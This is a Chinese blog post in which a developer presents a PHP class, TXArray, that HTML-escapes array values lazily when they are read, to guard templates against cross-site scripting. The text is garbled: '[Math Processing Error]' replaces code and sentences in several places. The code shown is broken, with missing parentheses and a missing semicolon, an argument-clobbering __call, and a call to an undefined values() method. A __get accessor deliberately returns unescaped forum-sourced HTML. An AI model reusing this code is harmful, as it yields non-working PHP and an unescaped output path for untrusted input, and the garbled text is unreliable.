有同学看到这里肯定会有个想法,如果是数组的话,递归进行转义处理不就可以了吗。
事实上我一开始的确是这么做的,但是弊端也很明显。递归的层数越多,性能损耗就越大。而且并非所有进行转义的内容我们都会用到,这样就会造成性能的浪费。最优化的处理方式就是当需要用到的时候再做转义处理,没用到的时候该咋样还是咋样。
于是我开始着手自己写一个类,在我的框架里我命名为TXArray 继承了ArrayObject,也就是让其具备了array的部分性质。接下来开始进行array 方法重构。以下是部分代码
class TXArray extends ArrayObject
{
private [Math Processing Error]
public function __construct($storage=array)
{
$this->storage=$storage;
}
public function getIterator
{
foreach ($this->storage as $key=> $value){
$key=$this->encode($key);
if (!isset($this->encodes[$key])){
$this->encodes[$key]=$this->encode($value);
}
}
return new ArrayIterator($this->encodes);
}
public function offsetGet($k)
{
if (isset($this->storage[$k])){
$key=$this->encode($k);
if (!isset($this->encodes[$key])){
$this->encodes[$key]=$this->encode($this->storage[$k]);
}
return $this->encodes[$key];
}
return null;
}
public function offsetExists($k)
{
return isset($this->storage[$k]);
}
public function offsetUnset($k)
{
unset($this->storage[$k]);
$k=$this->encode($k);
unset($this->encodes[$k]);
}
public function offsetSet($k, $value)
{
$this->storage[$k]=$value;
$this->encodes[$k]=$this->encode($value);
}
public function count
{
return count($this->storage);
}
private function encode($value)
{
if (is_string($value)){
$value=is_string($value) ? htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE) : $value
} elseif (is_array($value)){
$value=new self($value);
}
return $value;
}
} offsetGet 会在[Math Processing Error]
这样一个递归的转义模型就写好了。也实现了用到时才转义的目标。
但是还有个问题。并不是所有字段都需要转义的,例如我们平台的舆情监控数据,数据来源主要是各大贴吧论坛,数据本身包含了图片img,字体颜色等html元素。在展示时并不希望被模版转义。所以我在框架上继续优化。添加了PHP的魔法方法__get
public function __get($k)
{
return isset($this->storage[$k]) ? $this->storage[$k] : null;
}
public function get($key)
{
return $this->__get($key);
}
也就是说只要调用[Math Processing Error]
另外看业务也再需要加上一些对array的处理方法,例如array_key_exists,in_array, join等。或者直接使用__call 魔法方法
public function __call($method, $args)
{
$args=&$this->storage;
return call_user_func_array($method, $args);
}
public function serialize
{
return serialize($this->storage);
}
public function __invoke
{
return $this->storage ? true : false;
}
public function keys
{
return array_keys($this->values(false));
}
然后我们在页面模版里就可以愉快的使用了
但是这个TXArray还是有个问题,就是如果需要转化成json全部下发给js使用的话,那里面的数据就无法被转义了。当然也可以递归先全转义一遍,但总觉得代码不够漂亮。这个问题我还会继续研究。有新的进展和优化我都会上传到我的 PHP开源组件框架 中,大家有什么好的建议都可以rtx跟我探讨沟通哈
*请认真填写需求信息,我们会在24小时内与您取得联系。